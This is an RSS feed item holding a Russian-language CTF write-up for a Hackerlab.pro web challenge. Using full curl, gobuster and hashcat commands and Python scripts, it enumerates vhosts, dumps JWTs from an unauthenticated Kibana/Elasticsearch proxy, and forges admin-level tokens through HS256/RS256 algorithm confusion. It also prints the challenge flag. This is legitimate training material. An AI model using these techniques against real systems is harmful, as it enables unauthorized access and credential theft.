<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Penetration Tester</title><generator>teletype.in</generator><description><![CDATA[Penetration Tester]]></description><image><url>https://img3.teletype.in/files/28/d8/28d86e23-b8b5-45ae-a885-9d85efae16b7.png</url><title>Penetration Tester</title><link>https://teletype.in/@fnay_offensive</link></image><link>https://teletype.in/@fnay_offensive?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=fnay_offensive</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/fnay_offensive?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/fnay_offensive?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Wed, 03 Jun 2026 00:44:31 GMT</pubDate><lastBuildDate>Wed, 03 Jun 2026 00:44:31 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@fnay_offensive/post_50</guid><link>https://teletype.in/@fnay_offensive/post_50?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=fnay_offensive</link><comments>https://teletype.in/@fnay_offensive/post_50?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=fnay_offensive#comments</comments><dc:creator>fnay_offensive</dc:creator><title>День 45. &quot;Хьюстон, у нас течь&quot; hackerlab.pro</title><pubDate>Wed, 20 May 2026 10:48:20 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/b9/44/b9444608-ca96-49f2-ac68-c753d4e2a0f9.png"></media:content><description><![CDATA[<img src="https://img1.teletype.in/files/06/bc/06bc3204-cb3d-4efd-ae23-4c90feee9851.jpeg"></img>=============================================================
ОТЧЁТ ПО РЕШЕНИЮ ЗАДАЧИ &quot;Хьюстон, у нас течь&quot; — Hackerlab.pro
=============================================================]]></description><content:encoded><![CDATA[
  <figure id="H14z" class="m_original">
    <img src="https://img1.teletype.in/files/06/bc/06bc3204-cb3d-4efd-ae23-4c90feee9851.jpeg" width="1200" />
  </figure>
  <p id="FNlK">=============================================================<br />ОТЧЁТ ПО РЕШЕНИЮ ЗАДАЧИ &quot;Хьюстон, у нас течь&quot; — Hackerlab.pro<br />=============================================================</p>
  <p id="hsU3">Уровень:    Сложный<br />Категория:  Web / Auth Bypass / JWT Algorithm Confusion<br />Цель:       http://62.173.140.174:16108/  (vhost: cybercorp.ctf)<br />Флаг:       CODEBY{Alg0r17hm_M15m47ch}</p>
  <figure id="ET3C" class="m_original">
    <img src="https://img4.teletype.in/files/bc/b6/bcb622a0-5bf5-4af2-ad9f-d9b419dff0f0.jpeg" width="1920" />
  </figure>
  <p id="0bYN"><br />=============================================================<br />0. УСЛОВИЕ<br />=============================================================</p>
  <p id="95Bs">Текст условия:</p>
  <figure id="3lvC" class="m_original">
    <img src="https://img2.teletype.in/files/18/94/189491c3-00c4-4260-92b7-820ac6701d5e.png" width="926" />
  </figure>
  <p id="GOzd">    Вы наткнулись на сайт компании &quot;CyberCorp&quot; — разработчика софта<br />    для кибербезопасности. Пройдите авторизацию и заберите флаг.<br />    IP: 62.173.140.174:16108</p>
  <p id="xutL">Название задачи &quot;Хьюстон, у нас течь&quot; — намёк на утечку данных<br />(leak) где-то в инфраструктуре компании. Подпись флага<br />&quot;M15m47ch&quot; — намёк на mismatch (несоответствие), т.е. на<br />несоответствие алгоритма JWT.</p>
  <figure id="VKiz" class="m_original">
    <img src="https://img4.teletype.in/files/bc/3e/bc3e0124-c40e-40cf-8465-e6a3432fbef9.jpeg" width="1200" />
  </figure>
  <p id="5DVp">Создаём рабочую директорию:</p>
  <p id="CbKi">    mkdir -p /home/fnay/Pentest/cursor/task/hackerlab.pro/Houston_techa<br />    cd /home/fnay/Pentest/cursor/task/hackerlab.pro/Houston_techa</p>
  <p id="OSf9"><br />==============================================================<br />ШАГ 1. ПЕРВИЧНАЯ РАЗВЕДКА — ОПРЕДЕЛЯЕМ VHOST<br />==============================================================</p>
  <p id="ZPSa">Команда:</p>
  <p id="duHC">    curl -s -i http://62.173.140.174:16108/ --max-time 10</p>
  <p id="pYCb">Полный ответ:</p>
  <p id="Xaop">    HTTP/1.1 301 Moved Permanently<br />    Server: nginx/1.29.4<br />    Date: Mon, 18 May 2026 10:04:07 GMT<br />    Content-Type: text/html<br />    Content-Length: 169<br />    Connection: keep-alive<br />    Location: http://cybercorp.ctf/</p>
  <p id="TPKx">    &lt;html&gt;<br />    &lt;head&gt;&lt;title&gt;301 Moved Permanently&lt;/title&gt;&lt;/head&gt;<br />    &lt;body&gt;<br />    &lt;center&gt;&lt;h1&gt;301 Moved Permanently&lt;/h1&gt;&lt;/center&gt;<br />    &lt;hr&gt;&lt;center&gt;nginx/1.29.4&lt;/center&gt;<br />    &lt;/body&gt;<br />    &lt;/html&gt;</p>
  <p id="KcsG">Рассуждение. Default vhost у nginx редиректит на cybercorp.ctf —<br />значит, на сервере виртуальные хосты. Дальше всё ходим с<br />заголовком Host: cybercorp.ctf.</p>
  <p id="ZW59">Команда:</p>
  <p id="Phq1">    curl -s -i -H &quot;Host: cybercorp.ctf&quot; http://62.173.140.174:16108/ --max-time 10</p>
  <p id="7VJ1">Ответ — главная HTML-страница компании CyberCorp с тремя<br />карточками сотрудников и ссылкой /login:</p>
  <p id="x1U9">    HTTP/1.1 200 OK<br />    Server: nginx/1.29.4<br />    Content-Type: text/html; charset=utf-8</p>
  <p id="A9d1">    &lt;!DOCTYPE html&gt;<br />    &lt;html lang=&quot;ru&quot;&gt;<br />    ...<br />    &lt;h1 class=&quot;display-4&quot;&gt;CyberCorp&lt;/h1&gt;<br />    ...<br />    &lt;h5 class=&quot;card-title&quot;&gt;Mikhail Stepanov&lt;/h5&gt;      &lt;p&gt;Guest Blogger&lt;/p&gt;<br />    &lt;h5 class=&quot;card-title&quot;&gt;Ekaterina Ivanova&lt;/h5&gt;     &lt;p&gt;Junior Developer&lt;/p&gt;<br />    &lt;h5 class=&quot;card-title&quot;&gt;Aleksandr Morozov&lt;/h5&gt;     &lt;p&gt;SysAdmin&lt;/p&gt;<br />    ...<br />    &lt;a href=&quot;/login&quot; class=&quot;btn btn-primary btn-lg&quot;&gt;Войти в систему&lt;/a&gt;</p>
  <p id="pd9k">Запоминаем имена сотрудников — пригодятся для подбора имён<br />пользователей.</p>
  <p id="CEMO"><br />==============================================================<br />ШАГ 2. КАРТА ЭНДПОИНТОВ И ПЕРВЫЙ ЗАШИЩЁННЫЙ МАРШРУТ<br />==============================================================</p>
  <p id="zAbu">Команда (быстрый перебор популярных путей):</p>
  <p id="9qjJ">    for ep in /robots.txt /sitemap.xml /admin /api /.git/config /.env \<br />              /backup /flag /static/ /uploads/ /blog /posts /users \<br />              /api/users /register /signup /search; do<br />      r=$(curl -s -o /dev/null -w &quot;%{http_code}|%{size_download}&quot; \<br />          -H &quot;Host: cybercorp.ctf&quot; &quot;http://62.173.140.174:16108$ep&quot; --max-time 5)<br />      echo &quot;$ep -&gt; $r&quot;<br />    done</p>
  <p id="e5n8">Все ответы 404. Тогда gobuster:</p>
  <p id="ymWM">    gobuster dir -u http://62.173.140.174:16108/ -H &quot;Host: cybercorp.ctf&quot; \<br />                 -w /usr/share/seclists/Discovery/Web-Content/common.txt \<br />                 -q -t 30 --timeout 5s</p>
  <p id="d1iS">Полный вывод:</p>
  <p id="GNnT">    /about                (Status: 200) [Size: 937]<br />    /login                (Status: 200) [Size: 947]<br />    /profile              (Status: 403) [Size: 17]</p>
  <p id="ogYp">Дальше — содержимое каждого:</p>
  <p id="brAU">    curl -s -H &quot;Host: cybercorp.ctf&quot; http://62.173.140.174:16108/about</p>
  <p id="RGSV">Полный ответ:</p>
  <p id="QCpT">    &lt;h1 class=&quot;mt-5&quot;&gt;Наши сотрудники&lt;/h1&gt;<br />    &lt;p&gt;Недавно наша команда обсуждала новую систему авторизации.<br />       Подробности можно найти во внутренних логах.&lt;/p&gt;<br />    &lt;ul class=&quot;list-group&quot;&gt;<br />        &lt;li class=&quot;list-group-item&quot;&gt;Mikhail Stepanov - Guest Blogger&lt;/li&gt;<br />        &lt;li class=&quot;list-group-item&quot;&gt;Ekaterina Ivanova - Junior Developer&lt;/li&gt;<br />        &lt;li class=&quot;list-group-item&quot;&gt;Aleksandr Morozov - SysAdmin&lt;/li&gt;<br />    &lt;/ul&gt;</p>
  <p id="Kkxl">Важный текст: &quot;Подробности можно найти во внутренних логах&quot;.<br />Это прямой намёк: ищем сервис логирования (Kibana / Graylog /<br />Loki / etc.).</p>
  <p id="FapG">    curl -s -i -H &quot;Host: cybercorp.ctf&quot; http://62.173.140.174:16108/profile</p>
  <p id="dRU6">    HTTP/1.1 403 FORBIDDEN<br />    Content-Length: 17</p>
  <p id="dLnQ">    No token provided</p>
  <p id="K6fy">Профиль требует токен. По каналам пробуем варианты передачи:</p>
  <p id="mhrN">    curl -s -i -H &quot;Host: cybercorp.ctf&quot; -H &quot;Cookie: token=xxx&quot; \<br />         http://62.173.140.174:16108/profile</p>
  <p id="ctC6">    HTTP/1.1 500 INTERNAL SERVER ERROR<br />    Server error: Not enough segments</p>
  <p id="A79n">Сообщение &quot;Not enough segments&quot; — типичная ошибка библиотеки<br />PyJWT, когда строка не делится на три части по точке. Значит:</p>
  <p id="BzP2">  - Токен передаётся в Cookie token=...<br />  - Это JWT.</p>
  <p id="JJUC"><br />==============================================================<br />ШАГ 3. ОПРЕДЕЛЕНИЕ ТИПА ПРОВЕРКИ JWT<br />==============================================================</p>
  <p id="2lWF">Проверка alg=none:</p>
  <p id="fH9N">    H=$(echo -n &#x27;{&quot;alg&quot;:&quot;none&quot;,&quot;typ&quot;:&quot;JWT&quot;}&#x27; | base64 -w0 | tr &#x27;+/&#x27; &#x27;-_&#x27; | tr -d &#x27;=&#x27;)<br />    P=$(echo -n &#x27;{&quot;sub&quot;:&quot;admin&quot;,&quot;role&quot;:&quot;admin&quot;}&#x27; | base64 -w0 | tr &#x27;+/&#x27; &#x27;-_&#x27; | tr -d &#x27;=&#x27;)<br />    TOK=&quot;$H.$P.&quot;<br />    curl -s -i -H &quot;Host: cybercorp.ctf&quot; -H &quot;Cookie: token=$TOK&quot; \<br />         http://62.173.140.174:16108/profile</p>
  <p id="qcdq">    HTTP/1.1 403 FORBIDDEN<br />    Unsupported algorithm</p>
  <p id="JUJb">alg=none не принимают. Тогда HS256 с произвольной подписью:</p>
  <p id="Xp0a">    TOK=&quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.invalidsig&quot;<br />    curl -s -i -H &quot;Host: cybercorp.ctf&quot; -H &quot;Cookie: token=$TOK&quot; \<br />         http://62.173.140.174:16108/profile</p>
  <p id="vCzt">    HTTP/1.1 403 FORBIDDEN<br />    Invalid token signature</p>
  <p id="xXbe">HS256 поддерживается, но нужна валидная подпись. Нужен секрет<br />или валидный токен.</p>
  <p id="7cGC"><br />==============================================================<br />ШАГ 4. УТЕЧКА — ИЩЕМ &quot;ВНУТРЕННИЕ ЛОГИ&quot;<br />==============================================================</p>
  <p id="GyUG">Текст из /about прямо говорит про внутренние логи. На сабдомене<br />основного хоста, очевидно, что-то крутится. Перебираем поддомены<br />по словарю.</p>
  <p id="M2bU">Команда:</p>
  <p id="DXao">    gobuster vhost -u http://62.173.140.174:16108/ \<br />        -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \<br />        --append-domain --domain cybercorp.ctf -q -t 30 --timeout 5s</p>
  <p id="AKVs">Полный вывод:</p>
  <p id="uAdS">    Found: logs.cybercorp.ctf Status: 302 [Size: 0] [--&gt; /spaces/enter]</p>
  <p id="YuXS">Найден сабдомен logs.cybercorp.ctf. Идём туда:</p>
  <p id="MinM">    curl -s -i -H &quot;Host: logs.cybercorp.ctf&quot; http://62.173.140.174:16108/</p>
  <p id="XHmR">Полный ответ:</p>
  <p id="qqHZ">    HTTP/1.1 302 Found<br />    location: /spaces/enter<br />    x-content-type-options: nosniff<br />    kbn-name: 370c97d0129f<br />    kbn-license-sig: d02f99f3aabeaa1c4ed51369f5f839a1ff5bd8ea9bba6befc839381842c6d158<br />    cache-control: private, no-cache, no-store, must-revalidate</p>
  <p id="rUz7">Заголовки kbn-name и kbn-license-sig — однозначная подпись<br />Kibana. Уточняем версию:</p>
  <p id="0Mca">    curl -s -H &quot;Host: logs.cybercorp.ctf&quot; \<br />         http://62.173.140.174:16108/api/status | python3 -m json.tool | head</p>
  <p id="qLSy">    {<br />      &quot;name&quot;: &quot;370c97d0129f&quot;,<br />      &quot;uuid&quot;: &quot;289c061d-5f66-4e3e-a4c1-2442e237a61a&quot;,<br />      &quot;version&quot;: {<br />        &quot;number&quot;: &quot;7.17.0&quot;,<br />        ...<br />      },<br />      &quot;status&quot;: { &quot;overall&quot;: { &quot;state&quot;: &quot;green&quot; } }<br />      ...</p>
  <p id="QsKo">Kibana 7.17.0 без авторизации — это и есть утечка. Через Kibana<br />есть прямой проксированный доступ к Elasticsearch:<br />/api/console/proxy.</p>
  <p id="9YmO"><br />==============================================================<br />ШАГ 5. СПИСОК ИНДЕКСОВ ELASTICSEARCH<br />==============================================================</p>
  <p id="h9p8">Команда (Kibana требует заголовок kbn-xsrf):</p>
  <p id="x3Tz">    curl -s -H &quot;Host: logs.cybercorp.ctf&quot; -H &quot;kbn-xsrf: true&quot; \<br />         -X POST &quot;http://62.173.140.174:16108/api/console/proxy?path=_cat/indices&amp;method=GET&quot;</p>
  <p id="XgXu">Полный ответ:</p>
  <p id="c5yt">    green  open .geoip_databases                ...   43      42  40.1mb  40.1mb<br />    green  open .reporting-2026-02-15           ...    2       1 476.7kb 476.7kb<br />    green  open .kibana_7.17.0_001              ... 1355     148   4.8mb   4.8mb<br />    green  open .apm-custom-link                ...    0       0    226b    226b<br />    yellow open testcfg                         ...    0       0    226b    226b<br />    green  open .apm-agent-configuration        ...    0       0    226b    226b<br />    yellow open cybercorp-logs                  ... 3000       0 529.5kb 529.5kb<br />    yellow open testjvm                         ...    0       0    226b    226b<br />    yellow open index                           ...    1       0   3.6kb   3.6kb<br />    green  open .async-search                   ...    0       0    260b    260b<br />    green  open .reporting-2026-04-12           ...    1       0   286kb   286kb<br />    green  open .kibana_task_manager_7.17.0_001 ...   17  227590  44.3mb  44.3mb</p>
  <p id="pyri">Прицеливаемся в cybercorp-logs (3000 документов).</p>
  <p id="A7qL"><br />==============================================================<br />ШАГ 6. ДАМП ЛОГОВ И НАЙДЕННЫЕ ТОКЕНЫ<br />==============================================================</p>
  <p id="jWJM">Команда:</p>
  <p id="kVhN">    curl -s -H &quot;Host: logs.cybercorp.ctf&quot; -H &quot;kbn-xsrf: true&quot; \<br />         -X POST &quot;http://62.173.140.174:16108/api/console/proxy?path=cybercorp-logs/_search?size=5&amp;method=GET&quot; \<br />         | python3 -m json.tool</p>
  <p id="92X8">Полный фрагмент (первый документ показателен):</p>
  <p id="KZTy">    {<br />      &quot;took&quot;: 1,<br />      &quot;hits&quot;: {<br />        &quot;total&quot;: {&quot;value&quot;: 3000, &quot;relation&quot;: &quot;eq&quot;},<br />        &quot;hits&quot;: [<br />          {<br />            &quot;_index&quot;: &quot;cybercorp-logs&quot;,<br />            &quot;_id&quot;: &quot;0&quot;,<br />            &quot;_source&quot;: {<br />              &quot;timestamp&quot;: &quot;2024-03-09T17:42:23&quot;,<br />              &quot;message&quot;: &quot;Database connection pool increased to 50.&quot;,<br />              &quot;user&quot;: &quot;dmitry.sokolov&quot;,<br />              &quot;token&quot;: &quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZG1pdHJ5LnNva29sb3YiLCJyb2xlIjoiZW1wbG95ZWUiLCJleHAiOjE3MzI1MzYxNTZ9.uAYwHKNlvW0oxajh2aMfwQL-ZcAvCHOJ_FvVw2YBjv8&quot;<br />            }<br />          },<br />          ...<br />        ]<br />      }<br />    }</p>
  <p id="tnmw">В логах ЛЕЖАТ JWT-токены пользователей — прямая утечка.<br />Декодируем для понимания структуры:</p>
  <p id="OHmy">    echo &quot;eyJ1c2VyIjoiZG1pdHJ5LnNva29sb3YiLCJyb2xlIjoiZW1wbG95ZWUiLCJleHAiOjE3MzI1MzYxNTZ9&quot; | base64 -d<br />    {&quot;user&quot;:&quot;dmitry.sokolov&quot;,&quot;role&quot;:&quot;employee&quot;,&quot;exp&quot;:1732536156}</p>
  <p id="Dzcs">Структура payload-а: user, role, exp. Все токены HS256.</p>
  <p id="EvoX">Собираем все токены и смотрим уникальные роли:</p>
  <p id="SSF9">    curl -s -H &quot;Host: logs.cybercorp.ctf&quot; -H &quot;kbn-xsrf: true&quot; \<br />         -H &quot;Content-Type: application/json&quot; \<br />         -X POST &quot;http://62.173.140.174:16108/api/console/proxy?path=cybercorp-logs/_search&amp;method=POST&quot; \<br />         -d &#x27;{&quot;size&quot;:3000,&quot;query&quot;:{&quot;exists&quot;:{&quot;field&quot;:&quot;token&quot;}},&quot;_source&quot;:[&quot;token&quot;,&quot;user&quot;]}&#x27; \<br />         &gt; /tmp/all_tokens.json</p>
  <p id="6Csx">Парсим payload, считаем роли:</p>
  <p id="1NfC">    Total hits with token: 1491</p>
  <p id="dS0o">    === ROLE: employee (874) ===<br />      pavel.nikolaev, anna.kuznetsova, natalia.morozova, aleksandr.morozov,<br />      dmitry.sokolov, sergey.ivanov, ...</p>
  <p id="rnDL">    === ROLE: user (298) ===<br />      olga.smirnova, ekaterina.ivanova, ...</p>
  <p id="D51U">    === ROLE: guest (319) ===<br />      mikhail.stepanov, ivan.petrov, ...</p>
  <p id="DJYL">Только 3 роли: employee, user, guest. Все exp в прошлом.</p>
  <p id="e6e8"><br />==============================================================<br />ШАГ 7. ПРОВЕРКА — ОДНА ЛИ СУПИСЬ И КАК ВАЛИДИРУЕТСЯ<br />==============================================================</p>
  <p id="Npyp">Шлём один из реальных протухших токенов:</p>
  <p id="MRZT">    TOK=&quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZG1pdHJ5LnNva29sb3YiLCJyb2xlIjoiZW1wbG95ZWUiLCJleHAiOjE3MzI1MzYxNTZ9.uAYwHKNlvW0oxajh2aMfwQL-ZcAvCHOJ_FvVw2YBjv8&quot;<br />    curl -s -i -H &quot;Host: cybercorp.ctf&quot; -H &quot;Cookie: token=$TOK&quot; \<br />         http://62.173.140.174:16108/profile</p>
  <p id="RT1K">    HTTP/1.1 403 FORBIDDEN<br />    Token expired</p>
  <p id="kURA">&quot;Token expired&quot; вместо &quot;Invalid token signature&quot; значит, что<br />ПОДПИСЬ ВАЛИДНА (общий секрет одинаков для всех токенов в<br />логах), просто exp в прошлом. Если узнаем секрет — выпустим<br />свежий токен.</p>
  <p id="z4zi"><br />==============================================================<br />ШАГ 8. КРЕК СЕКРЕТА — ПЕРВАЯ ПОПЫТКА (RockYou)<br />==============================================================</p>
  <p id="loQy">Команда:</p>
  <p id="57lV">    echo &quot;$TOK&quot; &gt; jwt_hash.txt<br />    hashcat -m 16500 jwt_hash.txt /usr/share/wordlists/rockyou.txt -O</p>
  <p id="SyPS">Результат:</p>
  <p id="adfF">    Status...........: Exhausted<br />    Hash.Mode........: 16500 (JWT (JSON Web Token))<br />    Speed.#1.........:  2104.6 kH/s<br />    Recovered........: 0/1 (0.00%)<br />    Progress.........: 14344385/14344385 (100.00%)</p>
  <p id="UClt">Секрет не словарный. Нужен другой путь.</p>
  <p id="3wKa"><br />==============================================================<br />ШАГ 9. ПОИСК ПО ЛОГАМ КЛЮЧЕВЫХ СЛОВ<br />==============================================================</p>
  <p id="uKGF">Команда:</p>
  <p id="xx4a">    for term in secret key password JWT_SECRET token_secret config; do<br />      echo &quot;=== $term ===&quot;<br />      curl -s -H &quot;Host: logs.cybercorp.ctf&quot; -H &quot;kbn-xsrf: true&quot; \<br />           -H &quot;Content-Type: application/json&quot; \<br />           -X POST &quot;http://62.173.140.174:16108/api/console/proxy?path=cybercorp-logs/_search&amp;method=POST&quot; \<br />           -d &quot;{\&quot;size\&quot;:5,\&quot;query\&quot;:{\&quot;query_string\&quot;:{\&quot;query\&quot;:\&quot;$term\&quot;}}}&quot; \<br />           | python3 -m json.tool<br />    done</p>
  <p id="Y2ql">Полезный результат пришёл по запросу &quot;key&quot;:</p>
  <p id="fO9l">    {<br />      &quot;hits&quot;: {<br />        &quot;total&quot;: {&quot;value&quot;: 1, &quot;relation&quot;: &quot;eq&quot;},<br />        &quot;hits&quot;: [{<br />          &quot;_id&quot;: &quot;2641&quot;,<br />          &quot;_source&quot;: {<br />            &quot;timestamp&quot;: &quot;2024-06-22T00:51:05&quot;,<br />            &quot;message&quot;: &quot;Public key at /keys/public.pem&quot;<br />          }<br />        }]<br />      }<br />    }</p>
  <p id="BGVP">В логе упомянут путь /keys/public.pem.</p>
  <p id="sIRd"><br />==============================================================<br />ШАГ 10. ЗАБИРАЕМ ПУБЛИЧНЫЙ КЛЮЧ<br />==============================================================</p>
  <p id="zQT1">Команда:</p>
  <p id="dPgQ">    curl -s -H &quot;Host: cybercorp.ctf&quot; \<br />         http://62.173.140.174:16108/keys/public.pem -o public.pem<br />    cat public.pem</p>
  <p id="JBvO">Полный вывод:</p>
  <p id="T26I">    -----BEGIN PUBLIC KEY-----<br />    MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsWf893QPffBxTpySt2KW<br />    sDTmD2Ftb4kwXxTbFSCnBZSWfasNqkxt2+bIJvlMFcjm2Ee7PNMoPv4d+/h81nLv<br />    lfOQIOE7kbfoqvLx0jtbQU2Sa1cUP57BjP96jgiJWtj6U3LecbwFqyT/WlpSTA22<br />    6Mad2s3SdoWeDjGR6XT4LxlYIJ2a/gHv30nY73V7WJ0NEIBFromw4hk7ub98gsVg<br />    8zYQfEz04yIN5g8jbu6fG/EZmgENYdc05jQ26kkABweK3UmvzCIgZpwkb6x5Qz7b<br />    n+ML8/Q/7H57O/KG7Os4h5M0hbQBYOvz7l8Ln8mMwjPcetD5+DoT58DR/ywzZZAJ<br />    nwIDAQAB<br />    -----END PUBLIC KEY-----</p>
  <p id="tlKK">Здесь и сходится загадка названия &quot;M15m47ch&quot;: алгоритмический<br />мисматч. Классическая уязвимость JWT-библиотек: если сервер<br />изначально проверяет RS256, но принимает HS256 — он использует<br />PEM публичного ключа как HMAC-секрет. Атакующий уже знает<br />публичный ключ (он публичен), значит может подписать свой HS256<br />токен.</p>
  <p id="cyH9"><br />==============================================================<br />ШАГ 11. ПОДДЕЛКА ТОКЕНА — HS256 С PUBLIC.PEM КАК СЕКРЕТОМ<br />==============================================================</p>
  <p id="OueI">Питон-однострочник, перебирающий формы PEM (с/без \n) как<br />секрета:</p>
  <p id="dM1A">    python3 &lt;&lt; &#x27;EOF&#x27;<br />    import hmac, hashlib, base64, json, time</p>
  <p id="HPIS">    def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b&#x27;=&#x27;).decode()<br />    with open(&#x27;public.pem&#x27;,&#x27;rb&#x27;) as f: pub = f.read()</p>
  <p id="TfVc">    for name, secret in [<br />        (&#x27;raw&#x27;,                   pub),<br />        (&#x27;stripped&#x27;,              pub.strip()),<br />        (&#x27;strip+nl&#x27;,              pub.strip()+b&#x27;\n&#x27;),<br />    ]:<br />        h_b = b64url(json.dumps({&quot;alg&quot;:&quot;HS256&quot;,&quot;typ&quot;:&quot;JWT&quot;},separators=(&#x27;,&#x27;,&#x27;:&#x27;)).encode())<br />        p_b = b64url(json.dumps({&quot;user&quot;:&quot;admin&quot;,&quot;role&quot;:&quot;admin&quot;,<br />                                  &quot;exp&quot;:int(time.time())+3600},separators=(&#x27;,&#x27;,&#x27;:&#x27;)).encode())<br />        sig = b64url(hmac.new(secret, f&quot;{h_b}.{p_b}&quot;.encode(), hashlib.sha256).digest())<br />        print(name, len(secret), f&quot;{h_b}.{p_b}.{sig}&quot;)<br />    EOF</p>
  <p id="GiTZ">Шлём оба варианта; нас интересует именно ТО, что вернёт &quot;Access<br />denied&quot; вместо &quot;Invalid token signature&quot; — это и есть верная<br />форма ключа.</p>
  <p id="RPRu">Первый запрос (PEM с финальным \n):</p>
  <p id="Oxa5">    curl -s -i -H &quot;Host: cybercorp.ctf&quot; \<br />         -H &quot;Cookie: token=&lt;raw_pem_jwt&gt;&quot; \<br />         http://62.173.140.174:16108/profile</p>
  <p id="mHJM">    HTTP/1.1 403 FORBIDDEN<br />    Access denied</p>
  <p id="jy6K">Второй запрос (PEM без \n):</p>
  <p id="5t3S">    HTTP/1.1 403 FORBIDDEN<br />    Invalid token signature</p>
  <p id="17O7">Победила форма &quot;PEM как файл, с финальным переводом строки&quot;.<br />Подпись валидна — осталось подобрать user+role, которому реально<br />разрешён /profile.</p>
  <p id="OW4y"><br />==============================================================<br />ШАГ 12. ПОДБОР USER + ROLE<br />==============================================================</p>
  <p id="Jear">Из логов известны 3 роли и 10+ имён. Перебираем реальные<br />сочетания (валидная роль + реальное имя):</p>
  <p id="gYvm">    real = [<br />        (&quot;dmitry.sokolov&quot;,    &quot;employee&quot;),<br />        (&quot;aleksandr.morozov&quot;, &quot;employee&quot;),<br />        (&quot;mikhail.stepanov&quot;,  &quot;guest&quot;),<br />        (&quot;olga.smirnova&quot;,     &quot;user&quot;),<br />        (&quot;ekaterina.ivanova&quot;, &quot;user&quot;),<br />    ]</p>
  <p id="Suvu">Полный вывод (Python-скрипт пробивает /profile с каждым):</p>
  <p id="Hvkq">    u=dmitry.sokolov    r=employee  -&gt; 403 Access denied<br />    u=aleksandr.morozov r=employee  -&gt; 200 OK<br />    u=mikhail.stepanov  r=guest     -&gt; 403 Access denied<br />    u=olga.smirnova     r=user      -&gt; 403 Access denied<br />    u=ekaterina.ivanova r=user      -&gt; 403 Access denied</p>
  <p id="xvSO">Прошёл только Aleksandr Morozov — тот самый SysAdmin со<br />страницы /about.</p>
  <p id="nbMF"><br />==============================================================<br />ШАГ 13. ПОЛУЧЕНИЕ ФЛАГА<br />==============================================================</p>
  <p id="pXil">Команда:</p>
  <p id="5Z5W">    python3 &lt;&lt; &#x27;EOF&#x27;<br />    import hmac, hashlib, base64, json, time, urllib.request</p>
  <p id="DlgQ">    def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b&#x27;=&#x27;).decode()<br />    with open(&#x27;public.pem&#x27;,&#x27;rb&#x27;) as f: pub = f.read()<br />    secret = pub if pub.endswith(b&#x27;\n&#x27;) else pub + b&#x27;\n&#x27;</p>
  <p id="dTcT">    payload = {&quot;user&quot;:&quot;aleksandr.morozov&quot;,&quot;role&quot;:&quot;employee&quot;,<br />               &quot;exp&quot;: int(time.time())+3600}<br />    h_b = b64url(json.dumps({&quot;alg&quot;:&quot;HS256&quot;,&quot;typ&quot;:&quot;JWT&quot;},separators=(&#x27;,&#x27;,&#x27;:&#x27;)).encode())<br />    p_b = b64url(json.dumps(payload,separators=(&#x27;,&#x27;,&#x27;:&#x27;)).encode())<br />    sig = b64url(hmac.new(secret, f&quot;{h_b}.{p_b}&quot;.encode(), hashlib.sha256).digest())<br />    tok = f&quot;{h_b}.{p_b}.{sig}&quot;<br />    print(&quot;TOK:&quot;, tok)</p>
  <p id="rdAP">    req = urllib.request.Request(&quot;http://62.173.140.174:16108/profile&quot;,<br />        headers={&quot;Host&quot;:&quot;cybercorp.ctf&quot;,&quot;Cookie&quot;:f&quot;token={tok}&quot;})<br />    with urllib.request.urlopen(req, timeout=5) as r:<br />        print(r.read().decode())<br />    EOF</p>
  <p id="RrYx">Полный ответ:</p>
  <p id="VGcu">    TOK: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWxla3NhbmRyLm1vcm96b3YiLCJyb2xlIjoiZW1wbG95ZWUiLCJleHAiOjE3NzkxMDMxMDJ9._j48Aoe0mCs1tIXKYluV7uuGU15Lv0HtV-pPKiWKWHc</p>
  <p id="Wv26">    &lt;!DOCTYPE html&gt;<br />    &lt;html&gt;<br />    &lt;head&gt;<br />        &lt;title&gt;Профиль - CyberCorp&lt;/title&gt;<br />        &lt;link href=&quot;https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css&quot; rel=&quot;stylesheet&quot;&gt;<br />    &lt;/head&gt;<br />    &lt;body&gt;<br />        &lt;div class=&quot;container&quot;&gt;<br />            &lt;h1 class=&quot;mt-5&quot;&gt;Профиль сотрудника&lt;/h1&gt;<br />            &lt;p&gt;Добро пожаловать, сотрудник CyberCorp!&lt;/p&gt;<br />            &lt;div class=&quot;alert alert-success&quot;&gt;Флаг: CODEBY{Alg0r17hm_M15m47ch}&lt;/div&gt;<br />            &lt;a href=&quot;/&quot; class=&quot;btn btn-primary mt-3&quot;&gt;Назад&lt;/a&gt;<br />        &lt;/div&gt;<br />    &lt;/body&gt;<br />    &lt;/html&gt;</p>
  <p id="NXYd"><br />ФЛАГ:</p>
  <p id="USl0">    CODEBY{Alg0r17hm_M15m47ch}</p>
  <p id="mAx3"><br />==============================================================<br />ПОЧЕМУ СЕРВИС УЯЗВИМ<br />==============================================================</p>
  <p id="RgNj">1. Kibana 7.17.0 (logs.cybercorp.ctf) выставлена в интернет без<br />   аутентификации. Любой обладатель URL получает прямой доступ<br />   к индексам Elasticsearch через /api/console/proxy.</p>
  <p id="aRi5">2. В индекс cybercorp-logs пишутся JWT-токены пользователей<br />   как обычные поля документов — прямая утечка PII/секретов.</p>
